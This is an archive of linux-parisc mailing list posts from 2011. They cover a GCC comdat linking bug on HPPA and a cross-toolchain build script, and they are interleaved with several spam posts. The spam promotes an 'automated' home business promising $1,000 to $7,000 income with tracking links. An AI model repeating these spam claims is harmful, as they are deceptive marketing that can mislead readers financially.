Newsgroups: gmane.linux.ports.parisc
Subject: Re: Link error in CMake for HPPA1.1, wrong result for HPPA 2.0
Date: Wed, 7 Sep 2011 19:35:42 -0400
Lines: 48
Approved: news@gmane.org
Message-ID: <BLU0-SMTP85AE9387481754DD11D7CE971F0@phx.gbl>
References: <99a9e4b224dc9020d16d0a33fea6096f.squirrel@webmail.sf-mail.de> <da1221fe3aa512ba4b0a139a89dd2e69.squirrel@webmail.sf-mail.de> <4E5BA449.5050606@bell.net> <7292253.L43gRO36Hq@donald.sf-tec.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1315438568 24345 80.91.229.12 (7 Sep 2011 23:36:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 7 Sep 2011 23:36:08 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 08 01:36:04 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R1Rf0-0002my-3S
	for glpp-linux-parisc@lo.gmane.org; Thu, 08 Sep 2011 01:36:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757485Ab1IGXgB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 7 Sep 2011 19:36:01 -0400
Original-Received: from blu0-omc3-s37.blu0.hotmail.com ([65.55.116.112]:36895 "EHLO
	blu0-omc3-s37.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756099Ab1IGXgA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 7 Sep 2011 19:36:00 -0400
Original-Received: from BLU0-SMTP85 ([65.55.116.72]) by blu0-omc3-s37.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 7 Sep 2011 16:36:00 -0700
X-Originating-IP: [69.158.172.102]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.172.102]) by BLU0-SMTP85.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 7 Sep 2011 16:35:58 -0700
In-Reply-To: <7292253.L43gRO36Hq@donald.sf-tec.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 07 Sep 2011 23:35:58.0951 (UTC) FILETIME=[E58B9F70:01CC6DB6]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3941
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3941>


On 29-Aug-11, at 2:31 PM, Rolf Eike Beer wrote:

> You wrote:
>> On 8/29/2011 4:12 AM, Rolf Eike Beer wrote:
>
>>> Confirmed, it is a regression in gcc 4.5. If I build using 4.4.6
>>> everything works fine. I'll file a bug report tonight.
>>
>> Interesting, there's not much difference in the PA backend for  
>> these two
>> versions.
>>
>> Add me (danglin at gcc.gnu.org) to the CC list on the GCC bug  
>> report and
>> I'll try to
>> duplicate the problem.
>
> http://gcc.gnu.org/bugzilla/show_bug.cgi?id=50230
>
> Eike


The problem appears to be that comdat groups and stubs don't get along
with each other.  Comdat groups seem to get merged and this can result
in out of range branches.

Linking with the --unique='.text.*' option avoids the error, but this  
probably
breaks comdat and discard support.

For now, I think the best solution (untested) is to configure GCC with  
the
--disable-comdat option.

I'm going to file a binutils PR.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dan Pereira" <danp_48@yahoo.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Build-a-home-based-business-on-Auto-Pilot-
Date: Wed, 7 Sep 2011 09:10:43 -0700 (PDT)
Lines: 50
Approved: news@gmane.org
Message-ID: <201109071610.p87GAhMh007687@mail3.spagack2.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1315455337 24351 80.91.229.12 (8 Sep 2011 04:15:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 8 Sep 2011 04:15:37 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 08 06:15:26 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R1W1N-0000kY-Ou
	for glpp-linux-parisc@lo.gmane.org; Thu, 08 Sep 2011 06:15:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751410Ab1IHEPY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 8 Sep 2011 00:15:24 -0400
X-Warning: Original message contained 8-bit characters, however during
	   the SMTP transport session the receiving system did not announce
	   capability of receiving 8-bit SMTP (RFC 1651-1653), and as this
	   message does not have MIME headers (RFC 2045-2049) to enable
	   encoding change, we had very little choice.
X-Warning: We ASSUME it is less harmful to add the MIME headers, and
	   convert the text to Quoted-Printable, than not to do so,
	   and to strip the message to 7-bits.. (RFC 1428 Appendix A)
X-Warning: We don't know what character set the user used, thus we had to
	   write these MIME-headers with our local system default value.
Original-Received: from mail3.spagack2.com ([74.122.159.222]:52071 "EHLO
	mail3.spagack2.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750902Ab1IHEPV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 8 Sep 2011 00:15:21 -0400
Original-Received: from mail3.spagack2.com (localhost.mail3.spagack2.com [127.0.0.1])
	by mail3.spagack2.com (8.13.8/8.12.7) with ESMTP id p87GAiD9007734
	for <linux-parisc@vger.kernel.org>; Wed, 7 Sep 2011 09:10:44 -0700 (PDT)
	(envelope-from u789mobs@reliablecontact.com)
Original-Received: (from cliff@localhost)
	by mail3.spagack2.com (8.13.8/8.13.1/Submit) id p87GAhMh007687;
	Wed, 7 Sep 2011 09:10:43 -0700 (PDT)
	(envelope-from u789mobs@reliablecontact.com)
X-Authentication-Warning: mail3.spagack2.com: cliff set sender to u789mobs@reliablecontact.com using -f
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 9.4 points;
 * -2.6 BAYES_00 BODY: Bayesian spam probability is 0 to 1%
 *      [score: 0.0000]
 *  4.0 RCVD_IN_SBL RBL: Received via a relay in Spamhaus SBL
 *      [74.122.159.222 listed in zen.spamhaus.org]
 *  2.0 URIBL_SC_SWINOG URI's listed in uribl.swinog.ch.
 *      [URIs: reliablecontact.com]
 *  2.0 URIBL_BLACK Contains an URL listed in the URIBL blacklist
 *      [URIs: reliablecontact.com]
 *  4.0 URIBL_SBL Contains an URL listed in the SBL blocklist
 *      [URIs: reliablecontact.com]
Xref: news.gmane.org gmane.linux.ports.parisc:3942 gmane.spam.detected:4888863
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3942>



Hello Everyone,

Discover how average people who have never made a cent in the past
Are now making $1,000+ every month,=20
With the Potential of making $50,000 a month
Just "Plug In"... to Your
Own Fully Automated=20
  Turn Key...Global Marketing $ystem
Receive $500-$3,500 Monthly or MORE
Not MLM...and
No Selling...
No Cold Phone Calling.=20
Complete plug-in-system!

Check-it-Out!

http://trckrs.com/48184/rc7

It=92s surprisingly cool!

Dan and Noel


His was a Com.Merical adv.Sent to you by:Dan Pereira, 11383 Golf Road, =
Turlock, CA 95380
In compliance with Federal law, should you choose to Un.Subscribe from =
our network, you may do so using theUn.Subscribe instruction found belo=
w.  We are fully compliant with CAN-SPAM Act of 2005-Please use the Un.=
Subscribe link provided:








To remove this email address from further mailings click on  the link b=
elow  while connected to the internet.
http://www.reliablecontact.com/cgi-bin/maxsponder/maxuseradmin.cgi?func=
tion=3Dmanualdelete3&email=3Dlinux-parisc*vger.kernel.org&un=3Drichardp=
ereira
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Link error in CMake for HPPA1.1, wrong result for HPPA 2.0
Date: Thu, 08 Sep 2011 11:22:48 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <4E68DDC8.1070001@systemhalted.org>
References: <99a9e4b224dc9020d16d0a33fea6096f.squirrel@webmail.sf-mail.de> <da1221fe3aa512ba4b0a139a89dd2e69.squirrel@webmail.sf-mail.de> <4E5BA449.5050606@bell.net> <7292253.L43gRO36Hq@donald.sf-tec.de> <BLU0-SMTP85AE9387481754DD11D7CE971F0@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1315495379 3982 80.91.229.12 (8 Sep 2011 15:22:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 8 Sep 2011 15:22:59 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 08 17:22:55 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R1gRK-0007PC-UJ
	for glpp-linux-parisc@lo.gmane.org; Thu, 08 Sep 2011 17:22:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754080Ab1IHPWy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 8 Sep 2011 11:22:54 -0400
Original-Received: from mail-gw0-f42.google.com ([74.125.83.42]:54095 "EHLO
	mail-gw0-f42.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754079Ab1IHPWx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 8 Sep 2011 11:22:53 -0400
Original-Received: by gwb17 with SMTP id 17so669gwb.1
        for <linux-parisc@vger.kernel.org>; Thu, 08 Sep 2011 08:22:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=sender:message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:x-enigmail-version:content-type
         :content-transfer-encoding;
        bh=jELoP9ARN6vcylckxw4Bbbrjyqu5AqHvQMrTFOwGE6M=;
        b=MqgqPujXa/T1EFpdbMXjfY3hKaA71ce70WjVO3ORY1sPnnL6ILvyc30Ftx7BjO69Kp
         KvVLpb1toeJYGn5zt642j3Pfi5yS7Gt2YfP2JbztY0BtJOhsnQy20P7NrroHqb6GRF2I
         tM2HP3hCzKSFLYvV1/1m+9xzpf7totch3WUKU=
Original-Received: by 10.146.166.16 with SMTP id o16mr768903yae.14.1315495372816;
        Thu, 08 Sep 2011 08:22:52 -0700 (PDT)
Original-Received: from [192.168.2.18] (bas3-ottawa23-1177761408.dsl.bell.ca [70.51.54.128])
        by mx.google.com with ESMTPS id 6sm1317858anu.16.2011.09.08.08.22.48
        (version=SSLv3 cipher=OTHER);
        Thu, 08 Sep 2011 08:22:49 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0.1) Gecko/20110830 Thunderbird/6.0.1
In-Reply-To: <BLU0-SMTP85AE9387481754DD11D7CE971F0@phx.gbl>
X-Enigmail-Version: 1.3.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3943
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3943>

On 9/7/2011 7:35 PM, John David Anglin wrote:
> 
> On 29-Aug-11, at 2:31 PM, Rolf Eike Beer wrote:
> 
>> You wrote:
>>> On 8/29/2011 4:12 AM, Rolf Eike Beer wrote:
>>
>>>> Confirmed, it is a regression in gcc 4.5. If I build using 4.4.6
>>>> everything works fine. I'll file a bug report tonight.
>>>
>>> Interesting, there's not much difference in the PA backend for these two
>>> versions.
>>>
>>> Add me (danglin at gcc.gnu.org) to the CC list on the GCC bug report and
>>> I'll try to
>>> duplicate the problem.
>>
>> http://gcc.gnu.org/bugzilla/show_bug.cgi?id=50230
>>
>> Eike
> 
> 
> The problem appears to be that comdat groups and stubs don't get along
> with each other.  Comdat groups seem to get merged and this can result
> in out of range branches.
> 
> Linking with the --unique='.text.*' option avoids the error, but this probably
> breaks comdat and discard support.
> 
> For now, I think the best solution (untested) is to configure GCC with the
> --disable-comdat option.
> 
> I'm going to file a binutils PR.

Interesting analysis.

I don't see how you can fix this though.

Support multiple comdat groups and arrange for the merging to
happen correctly?

Cheers,
Carlos.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dan Pereira" <danp_48@yahoo.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Build-a-home-based-business-on-Auto-Pilot-
Date: Sat, 10 Sep 2011 23:09:33 -0700 (PDT)
Lines: 50
Approved: news@gmane.org
Message-ID: <201109110609.p8B69X58087506@mail3.spagack2.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1315721481 14854 80.91.229.12 (11 Sep 2011 06:11:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 11 Sep 2011 06:11:21 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 11 08:11:17 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R2dG7-0007tx-Rk
	for glpp-linux-parisc@lo.gmane.org; Sun, 11 Sep 2011 08:11:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751639Ab1IKGLN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 11 Sep 2011 02:11:13 -0400
X-Warning: Original message contained 8-bit characters, however during
	   the SMTP transport session the receiving system did not announce
	   capability of receiving 8-bit SMTP (RFC 1651-1653), and as this
	   message does not have MIME headers (RFC 2045-2049) to enable
	   encoding change, we had very little choice.
X-Warning: We ASSUME it is less harmful to add the MIME headers, and
	   convert the text to Quoted-Printable, than not to do so,
	   and to strip the message to 7-bits.. (RFC 1428 Appendix A)
X-Warning: We don't know what character set the user used, thus we had to
	   write these MIME-headers with our local system default value.
Original-Received: from mail3.spagack2.com ([74.122.159.222]:56893 "EHLO
	mail3.spagack2.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751553Ab1IKGLN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 11 Sep 2011 02:11:13 -0400
Original-Received: from mail3.spagack2.com (localhost.mail3.spagack2.com [127.0.0.1])
	by mail3.spagack2.com (8.13.8/8.12.7) with ESMTP id p8B69YT7087533
	for <linux-parisc@vger.kernel.org>; Sat, 10 Sep 2011 23:09:34 -0700 (PDT)
	(envelope-from u789mobs@reliablecontact.com)
Original-Received: (from cliff@localhost)
	by mail3.spagack2.com (8.13.8/8.13.1/Submit) id p8B69X58087506;
	Sat, 10 Sep 2011 23:09:33 -0700 (PDT)
	(envelope-from u789mobs@reliablecontact.com)
X-Authentication-Warning: mail3.spagack2.com: cliff set sender to u789mobs@reliablecontact.com using -f
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 9.4 points;
 * -2.6 BAYES_00 BODY: Bayesian spam probability is 0 to 1%
 *      [score: 0.0000]
 *  4.0 RCVD_IN_SBL RBL: Received via a relay in Spamhaus SBL
 *      [74.122.159.222 listed in zen.spamhaus.org]
 *  2.0 URIBL_SC_SWINOG URI's listed in uribl.swinog.ch.
 *      [URIs: reliablecontact.com]
 *  2.0 URIBL_BLACK Contains an URL listed in the URIBL blacklist
 *      [URIs: reliablecontact.com]
 *  4.0 URIBL_SBL Contains an URL listed in the SBL blocklist
 *      [URIs: reliablecontact.com]
Xref: news.gmane.org gmane.linux.ports.parisc:3944 gmane.spam.detected:4889527
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3944>



Hello Everyone,

Discover how average people who have never made a cent in the past
Are now making $1,000+ every month,=20
With the Potential of making $50,000 a month
Just "Plug In"... to Your
Own Fully Automated=20
  Turn Key...Global Marketing $ystem
Receive $500-$3,500 Monthly or MORE
Not MLM...and
No Selling...
No Cold Phone Calling.=20
Complete plug-in-system!

Check-it-Out!

http://trckrs.com/48184/rc1

It=92s surprisingly cool!

Dan and Noel


His was a Com.Merical adv.Sent to you by:Dan Pereira, 11383 Golf Road, =
Turlock, CA 95380
In compliance with Federal law, should you choose to Un.Subscribe from =
our network, you may do so using theUn.Subscribe instruction found belo=
w.  We are fully compliant with CAN-SPAM Act of 2005-Please use the Un.=
Subscribe link provided:








To remove this email address from further mailings click on  the link b=
elow  while connected to the internet.
http://www.reliablecontact.com/cgi-bin/maxsponder/maxuseradmin.cgi?func=
tion=3Dmanualdelete3&email=3Dlinux-parisc*vger.kernel.org&un=3Drichardp=
ereira
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dan Pereira" <danp_48@yahoo.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: A Franchise in a BoxHave You Send This Yet !
Date: Mon, 12 Sep 2011 22:49:51 -0700 (PDT)
Lines: 41
Approved: news@gmane.org
Message-ID: <201109130549.p8D5npIY031066@mail3.spagack2.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1315898375 8596 80.91.229.12 (13 Sep 2011 07:19:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 13 Sep 2011 07:19:35 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 13 09:19:31 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R3NHG-00045R-52
	for glpp-linux-parisc@lo.gmane.org; Tue, 13 Sep 2011 09:19:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754867Ab1IMHT3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Sep 2011 03:19:29 -0400
X-Warning: Original message contained 8-bit characters, however during
	   the SMTP transport session the receiving system did not announce
	   capability of receiving 8-bit SMTP (RFC 1651-1653), and as this
	   message does not have MIME headers (RFC 2045-2049) to enable
	   encoding change, we had very little choice.
X-Warning: We ASSUME it is less harmful to add the MIME headers, and
	   convert the text to Quoted-Printable, than not to do so,
	   and to strip the message to 7-bits.. (RFC 1428 Appendix A)
X-Warning: We don't know what character set the user used, thus we had to
	   write these MIME-headers with our local system default value.
Original-Received: from mail3.spagack2.com ([74.122.159.222]:65051 "EHLO
	mail3.spagack2.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752217Ab1IMHT3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Sep 2011 03:19:29 -0400
Original-Received: from mail3.spagack2.com (localhost.mail3.spagack2.com [127.0.0.1])
	by mail3.spagack2.com (8.13.8/8.12.7) with ESMTP id p8D65MBH041546
	for <linux-parisc@vger.kernel.org>; Tue, 13 Sep 2011 00:18:57 -0700 (PDT)
	(envelope-from u789mobs@reliablecontact.com)
Original-Received: (from cliff@localhost)
	by mail3.spagack2.com (8.13.8/8.13.1/Submit) id p8D5npIY031066;
	Mon, 12 Sep 2011 22:49:51 -0700 (PDT)
	(envelope-from u789mobs@reliablecontact.com)
X-Authentication-Warning: mail3.spagack2.com: cliff set sender to u789mobs@reliablecontact.com using -f
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 9.4 points;
 * -2.6 BAYES_00 BODY: Bayesian spam probability is 0 to 1%
 *      [score: 0.0000]
 *  4.0 RCVD_IN_SBL RBL: Received via a relay in Spamhaus SBL
 *      [74.122.159.222 listed in zen.spamhaus.org]
 *  2.0 URIBL_SC_SWINOG URI's listed in uribl.swinog.ch.
 *      [URIs: reliablecontact.com]
 *  2.0 URIBL_BLACK Contains an URL listed in the URIBL blacklist
 *      [URIs: reliablecontact.com]
 *  4.0 URIBL_SBL Contains an URL listed in the SBL blocklist
 *      [URIs: reliablecontact.com]
Xref: news.gmane.org gmane.linux.ports.parisc:3945 gmane.spam.detected:4890296
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3945>



Hello Everyone,
Just =93Plug In=94.. to Your
Own Fully Automated
Turn Key..Global Marketing $ystem
Receive $3,000-$7,000 Weekly or MORE Not MLM=85and No Selling.

http://trckrs.com/48184/rc8

It=92s surprisingly cool!

Dan




His was a Com.Merical adv.Sent to you by:Dan Pereira, 11383 Golf Road, =
Turlock, CA 95380In compliance with Federal law, should you choose to U=
n.Subscribe from our network, you may do so using theUn.Subscribe instr=
uction found below.  We are fully compliant with CAN-SPAM Act of 2005-P=
lease use the Un.Subscribe link provided:








To remove this email address from further mailings click on  the link b=
elow  while connected to the internet.
http://www.reliablecontact.com/cgi-bin/maxsponder/maxuseradmin.cgi?func=
tion=3Dmanualdelete3&email=3Dlinux-parisc*vger.kernel.org&un=3Drichardp=
ereira
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Graham Gower <graham.gower@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: failure to link kernel 3.0.3 with cross binutils-2.21.1/gcc-4.6.1
Date: Tue, 13 Sep 2011 16:50:28 +0930
Lines: 121
Approved: news@gmane.org
Message-ID: <CAFk90B8F17-o3HqRGygu8OUb-Ncurqi-Ui+_u9kfaqmQG5nK4Q@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1315898436 8989 80.91.229.12 (13 Sep 2011 07:20:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 13 Sep 2011 07:20:36 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 13 09:20:32 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1R3NIF-00045R-C8
	for glpp-linux-parisc@lo.gmane.org; Tue, 13 Sep 2011 09:20:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752832Ab1IMHUa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Sep 2011 03:20:30 -0400
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:36339 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752217Ab1IMHU3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Sep 2011 03:20:29 -0400
Original-Received: by bkbzt4 with SMTP id zt4so227164bkb.19
        for <linux-parisc@vger.kernel.org>; Tue, 13 Sep 2011 00:20:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:date:message-id:subject:from:to:content-type;
        bh=rkbn/adx98k7nTc4H7f/jmgyEw7fgG7xl6UM/Vihi2M=;
        b=WKs7fFBesjb5wAOuHWrFUxA2K81SZUvFSqFkPlGFsYk12dXP9SA6Kbv9jAo/IT1xTD
         oy/Jo4kD0fqHky236rq6uo6gHEiQEW0ceFglhWwwwJu+LsS97JWkMnZFlnE4AGHDf8Sj
         mV3aDek6DTWjv/VkSeha7pl1qT9mshGHMJgjg=
Original-Received: by 10.204.152.24 with SMTP id e24mr1368466bkw.324.1315898428109;
 Tue, 13 Sep 2011 00:20:28 -0700 (PDT)
Original-Received: by 10.204.136.212 with HTTP; Tue, 13 Sep 2011 00:20:28 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3946
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3946>

Toolchain build like so:

grg@eye7:~$ cat bin/hppa64-cross.sh
#!/bin/sh

PREFIX=/tmp/hppa65
TARGET=hppa64-linux
HOST=x86_64-slackware-linux
BINUTILS=binutils-2.21.1
GCC=gcc-4.6.1
TMPDIR=/tmp
MAKEOPTS="-j 8"

PATH=$PREFIX/bin:$PATH

die() {
	echo "||||||"
	echo "ERROR: $@"
	exit 1
}

### Binutils
do_binutils() {
	cd $TMPDIR
	tar xf $BINUTILS.tar.bz2

	mkdir build-$BINUTILS
	cd build-$BINUTILS

	../$BINUTILS/configure \
		--target=$TARGET \
		--prefix=$PREFIX \
		|| return 1

	make $MAKEOPTS || return 1
	make $MAKEOPTS install || return 1
}

### GCC, initial gcc without threading or shared library support
do_gcc1() {
	cd $TMPDIR
	tar xf $GCC.tar.bz2

	mkdir build-$GCC-1
	cd build-$GCC-1

	export AR=ar

	../$GCC/configure \
		--target=$TARGET \
		--host=$HOST \
		--build=$HOST \
		--prefix=$PREFIX \
		--with-newlib \
		--disable-shared \
		--disable-threads \
		--disable-multilib \
		--disable-libmudflap \
		--disable-libssp \
		--disable-libgomp \
		--disable-libquadmath \
		--enable-languages=c \
		$GCC1_EXTRA_CONF \
		|| return 1

	make $MAKEOPTS || return 1
	make $MAKEOPTS install || return 1
}

do_clean() {
	cd $TMPDIR
	rm -fr build-$BINUTILS build-$GCC-1
	rm -fr $BINUTILS $GCC $GLIBC $LINUX
}


do_clean
do_binutils || die "do_binutils failed"
do_gcc1 || die "do_gcc1 failed"





grg@eye7:/mnt/1T/hppa/linux-3.0$ make vmlinux ARCH=parisc
CROSS_COMPILE=/tmp/hppa64/bin/hppa64-linux-
  CHK     include/linux/version.h
  CHK     include/generated/utsrelease.h
  CALL    scripts/checksyscalls.sh
  CHK     include/generated/compile.h
  LD      vmlinux.o
  MODPOST vmlinux.o
  GEN     .version
  CHK     include/generated/compile.h
  UPD     include/generated/compile.h
  CC      init/version.o
  LD      init/built-in.o
